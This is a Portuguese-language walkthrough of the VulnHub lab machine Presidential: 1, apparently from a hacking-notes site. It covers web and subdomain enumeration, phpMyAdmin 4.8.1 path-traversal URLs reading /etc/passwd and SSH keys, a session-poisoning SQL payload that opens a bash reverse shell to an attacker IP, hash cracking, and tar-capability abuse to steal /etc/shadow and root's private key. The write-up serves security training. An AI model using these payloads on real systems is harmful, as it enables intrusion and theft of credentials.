> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/vulnhub/linux-vulnhub/presidential-1-vulnhub-writeup.md).

# Relato da VulnHub Presidential: 1

{% embed url="<https://www.vulnhub.com/entry/presidential-1,500/>" %}

{% hint style="warning" %}
Habilidades:

* Enumeração Web
* Vazamento de Informações
* Hospedagem virtual
* Enumeração de subdomínios
* Abusando do phpMyAdmin - LFI para RCE (abusando de sessões PHP ID)
* Quebra de hashes (pivotamento de usuário)
* Abusando de capacidades (tar cap\_dac\_read\_search+ep) (Escalada de privilégios)
  {% endhint %}

## Reconhecimento

**Configuração do ambiente de trabalho:**

Configure o ambiente de trabalho criando três pastas para armazenar conteúdo importante, exploits e resultados de reconhecimento do Nmap.

<figure><img src="/files/e0fbe37d530c5462f6406e558099a8410ff93fb2" alt=""><figcaption></figcaption></figure>

**Descoberta do endereço IP com arp-scan:**

Usando o comando arp-scan para detectar o endereço IP da máquina:

```bash
arp-scan -I ens33 --localnet --ignoredups
```

<figure><img src="/files/116ef94676f528d01d0bd4a9ced6454ed97bc6d5" alt=""><figcaption></figcaption></figure>

**Descoberta de portas abertas com Nmap:**/ Enumere as portas abertas e exporte os resultados para o arquivo "allPorts" no diretório do Nmap:

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 192.168.71.145 -oG allPorts
```

<figure><img src="/files/56cc6abbd58f7be9b96ad3765eef6c43e807029c" alt=""><figcaption></figcaption></figure>

**Varredura de versão das portas com Nmap:**/ Use o Nmap para escanear as versões dos serviços e salvar a saída no arquivo "targeted":

```bash
nmap -sCV -p80,2082 192.168.71.145 -oN targeted
```

<figure><img src="/files/5db264a710750ca77082ea13c6031a9525342504" alt=""><figcaption></figcaption></figure>

#### Varredura do servidor com Wappalyzer:

Usando o Wappalyzer para determinar que o servidor está usando Apache e a linguagem de programação PHP.

<figure><img src="/files/fc7d864cbaacf4aae1f5d2c68058ef2214fb7882" alt=""><figcaption></figcaption></figure>

**Identifique a versão do alvo com WhatWeb:**/ Usando o WhatWeb para escanear o site e identificar a versão da máquina (Ubuntu) e do Apache:

<div data-full-width="true"><figure><img src="/files/2192f88d311419fcee53e33275928d81c25f12c5" alt=""><figcaption></figcaption></figure></div>

**Configuração de hospedagem virtual para busca de subdomínios:**

Antes de começar a buscar subdomínios, configure a hospedagem virtual do alvo para direcionar melhor as informações que você deseja.

<figure><img src="/files/97606847f68071699f1a73d97dc930c835b2b347" alt=""><figcaption></figcaption></figure>

**Identificação de possíveis usuários no site:**

Explore o site para identificar possíveis usuários. Neste caso, dois usuários, Kelly Bowen e Hugh Morgan, são identificados como pontos de interesse.

<figure><img src="/files/164ad26b3a020246663726445ad85fb9734c5ce4" alt=""><figcaption></figcaption></figure>

**Buscar diretórios com Gobuster**

Use o Gobuster com uma lista de diretórios para encontrar caminhos de acesso ocultos. Identifique três diretórios, um dos quais, "cgi-bin", apresenta um risco potencial de vulnerabilidade a [shellshock](/pt-br/web-vulnerabilities/shellshock-attack.md) ataque.

```bash
gobuster dir -u http://192.168.71.145/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20 --add-slash
```

<figure><img src="/files/9b3f5c7f5c5c19e338f11b3f0e0f938e87fd6c3e" alt=""><figcaption></figcaption></figure>

**Buscar arquivos com extensão PHP**

Realize uma busca específica por arquivos com a extensão PHP usando o Gobuster para encontrar arquivos relevantes. Descubra um arquivo "config.php" que, quando interpretado, não revela nenhuma informação visível.

```bash
gobuster dir -u http://192.168.71.145/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20 --add-slash -x php
```

<figure><img src="/files/d8afcb4fc29c7be7576e9a86632372e00b67df10" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/77690d19c1782d5158f3d3e1f37d5c0c97769dce" alt=""><figcaption></figcaption></figure>

**Buscar arquivos de backup (extensão bak)**

Continue a busca mirando especificamente arquivos de backup com a extensão ".bak". Encontre um arquivo relevante que possa conter informações sensíveis.

<figure><img src="/files/6cf1e2d2c4ab60b6e3b6a7fee830ee94ea3f2003" alt=""><figcaption></figcaption></figure>

**Obter credenciais do banco de dados:**

Use as informações extraídas do arquivo de backup ".bak" para obter as credenciais do banco de dados.

<figure><img src="/files/b0c58cbf833307e027c9807b163009d7f130c0d1" alt=""><figcaption></figcaption></figure>

**Tentativa de conexão SSH:**

Tente se conectar usando as credenciais obtidas via SSH. Falhe na tentativa por causa da ausência de uma chave privada.

<figure><img src="/files/d1093f7d1866f4b93d2b0eeaa8b5fdd7c3795d7c" alt=""><figcaption></figcaption></figure>

**Verificar a validade do usuário "votebox" no SSH**

Devido à versão antiga do SSH, verifique se o usuário "votebox" é um usuário válido do sistema.

<figure><img src="/files/b53072e0ad488c033776def0aee6b7100a0de820" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/1e4e93d987b241c4b14d98d029b165b0a154ae45" alt=""><figcaption></figcaption></figure>

**Subdomínios descobertos com Gobuster**

Use o Gobuster com uma lista de subdomínios para explorar possíveis subdomínios. No entanto, essa tentativa não produz resultados positivos.

```bash
gobuster vhost -u http://votenow.local/ -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -t 20 | grep -v "400"
```

<figure><img src="/files/736ae57887c390a8d2407c9e461c1cee43f179f1" alt=""><figcaption></figcaption></figure>

**Busca alternativa de subdomínios com um dicionário diferente:**

Repita a busca por subdomínios usando um dicionário de diretórios diferente.

<figure><img src="/files/79cf6129124c84d719dd947c15a600a2b88a3f53" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/a5caa599d987134c38e1a770b3058e245717797c" alt=""><figcaption></figcaption></figure>

#### Identifique-se a partir do arquivo ".bak" descoberto anteriormente.

<figure><img src="/files/eb93689938d4e62d101b7b0f83b82f9751b90ef0" alt=""><figcaption></figcaption></figure>

**Identificação da vulnerabilidade NCE no phpMyAdmin**

Após descobrir que a versão do phpMyAdmin é vulnerável (4.8.1), use a ferramenta SearchExploit para encontrar exploits correspondentes e identificar uma [RCE ](/pt-br/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-local-file-inclusion-to-remote-code-execution-lfi-to-rce.md)vulnerabilidade de (Execução Remota de Código).

<figure><img src="/files/f839fa434b5250bd26f38210238cfa566385472d" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/520cf0af2d93f70ccb660a93ebf70e26037c5e33" alt=""><figcaption></figcaption></figure>

## Vulnerabilidade RCE:

Use a vulnerabilidade NCE injetando o seguinte script na URL para ler o arquivo "/etc/passwd":

<figure><img src="/files/9cf670c5bb5ab6d05f0633aa9cb05f563211dab1" alt=""><figcaption></figcaption></figure>

```url
index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd
```

<figure><img src="/files/1ddb43f2cadb7e3151ce8b7de8311fb2053b0de8" alt=""><figcaption></figcaption></figure>

**Tentativa de recuperação da chave privada SSH do usuário admin**

Tente acessar a chave privada SSH do usuário "admin" usando a seguinte URL, mas encontre um erro:

```url
index.php?target=db_sql.php%253f/../../../../../../../../home/admin/.ssh/id_rsa
```

<figure><img src="/files/cf996bfd6a1436e8781797cb9babdd25b5c46051" alt=""><figcaption></figcaption></figure>

**Exploração das portas internas da rede privada**

Use a seguinte URL para listar as portas internas do servidor a partir do arquivo /proc/net/tcp:

```url
index.php?target=db_sql.php%253f/../../../../../../../../proc/net/tcp
```

<figure><img src="/files/79bbdbe71d220b34cb85b25331f16efbcc9ec98e" alt=""><figcaption></figcaption></figure>

Salve essas portas em um arquivo de dados para análise posterior.

```bash
for port in $(cat data | awk '{print $2}' | awk '{print $2}' FS=":" | sort -u); do echo "[+] Porta $port -> $((0x$port))"; done
```

<figure><img src="/files/7e54c578921ab691e0123dedf42e547a25974833" alt=""><figcaption></figcaption></figure>

**Identificação do diretório que contém sessões do phpMyAdmin**

Explorando o script, identifique um diretório que contenha sessões do phpMyAdmin:

```url
/index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/sessions/sess_{}
```

<figure><img src="/files/4b56637e720df30d94e6368643cf00325125961c" alt=""><figcaption></figcaption></figure>

## Vulnerabilidade do phpMyAdmin (Injeção de Comando)

**Usando o cookie de sessão do phpMyAdmin para uma injeção de comando**

<figure><img src="/files/ccb3b9532a3fa6642dbd0136568191b3cfd58aef" alt=""><figcaption></figcaption></figure>

```url
index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/session/sess_38f8d56u6em5usl5fd9s9v3pe66qh7v1
```

<figure><img src="/files/478f621445564af14b0000bf5e3ea0f4cf22af5d" alt=""><figcaption></figcaption></figure>

#### Este arquivo interpreta todos os comandos de consulta.

```sql
SELECT 'testing';
```

<figure><img src="/files/ba6775bca0aba461b7a9548975d01fa4264521a8" alt=""><figcaption></figcaption></figure>

**Injeção de comando SQL para obter uma** [**Shell reverso**](https://www.revshells.com/)**:**

```sql
select '<?php system("bash -i >& /dev/tcp/192.168.71.128/443 0>&1"); ?>';
```

/*/* O acesso à máquina finalmente foi obtido :/*/*

<figure><img src="/files/7902eacfaf2cd99f6aadb400bc07285c80d1142f" alt=""><figcaption></figcaption></figure>

#### Estabilização do terminal para escalada de privilégios:

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

#### **Restrição de acesso a /home/admin e descoberta de uma senha com hash:**

Veja a restrição de acesso a /home/admin, que exige acesso autenticado. No phpMyAdmin, observe o usuário "admin" com uma senha com hash, indicando a necessidade de descriptografar a senha para acessar o sistema de arquivos.

<figure><img src="/files/8b5698af9d26a471926e755e26e526b7dece1c4c" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/5d86a67920fd8898ef8bb4a5b377753275d5d97c" alt=""><figcaption></figcaption></figure>

## Quebra de senha por força bruta:

Crie um arquivo "hash" contendo a senha com hash e use o John the Ripper para tentar quebrá-la usando uma lista de senhas (rockyou.txt neste exemplo):

```bash
john -w:/usr/share/wordlists/rockyou.txt hash
```

**Senha exibida**

```bash
john --show hash
```

<figure><img src="/files/5c98f555950aa5f65c2fe609e59f6f5dd82bc6c1" alt=""><figcaption></figcaption></figure>

#### **Mude para o `admin` Usuário**

Use a senha descriptografada do usuário admin e conecte-se ao sistema como administrador

<figure><img src="/files/f66d9326c3b14968f9894ec8088394938feb65e2" alt=""><figcaption></figcaption></figure>

## Escalada de privilégios (Capacidades)

```bash
getcap -r / 2>/dev/null
```

Use o `getcap` comando para explorar as capacidades do sistema. Identifique uma capacidade para listar todos os arquivos no sistema.

<figure><img src="/files/0969e3e836ffd482b56f70b0cb7f190daed005dd" alt=""><figcaption></figcaption></figure>

/*/* Captura do arquivo /etc/shadow com tar/*/*

Crie uma pasta no diretório /tmp e inclua o arquivo /etc/shadow com o seguinte comando:

```bash
tarS -cvf shadow.tar /etc/shadow
```

Descompacte o arquivo no diretório /tmp. Como criador, modifique as permissões para visualizar o conteúdo de /etc/shadow.

```bash
tar -xvf /tmp/shadow.tar -C /tmp/
chmod 644 /tmp/etc/shadow
```

<figure><img src="/files/8fbbbda7b2662fbf2238a60f05adfd760c3b897d" alt=""><figcaption></figcaption></figure>

**Captura da chave privada .ssh com tar**

Capture a chave privada .ssh do usuário root com o seguinte comando:

```bash
tarS -cvf id_rsa.tar /root/.ssh/id_rsa
```

<figure><img src="/files/143d247e75c1654d23bf1d7f0d0521149a4e9f22" alt=""><figcaption></figcaption></figure>

**Conexão SSH com a chave privada capturada:**

Use a chave privada capturada para estabelecer uma conexão SSH com o usuário root na máquina local.

```bash
ssh -i id_rsa root@localhost -p 2082
```

**Flag obtida :)**

<figure><img src="/files/9ce6ede62ac9c4860b6025ace1cf7cc7a7ac89d1" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/vulnhub/linux-vulnhub/presidential-1-vulnhub-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
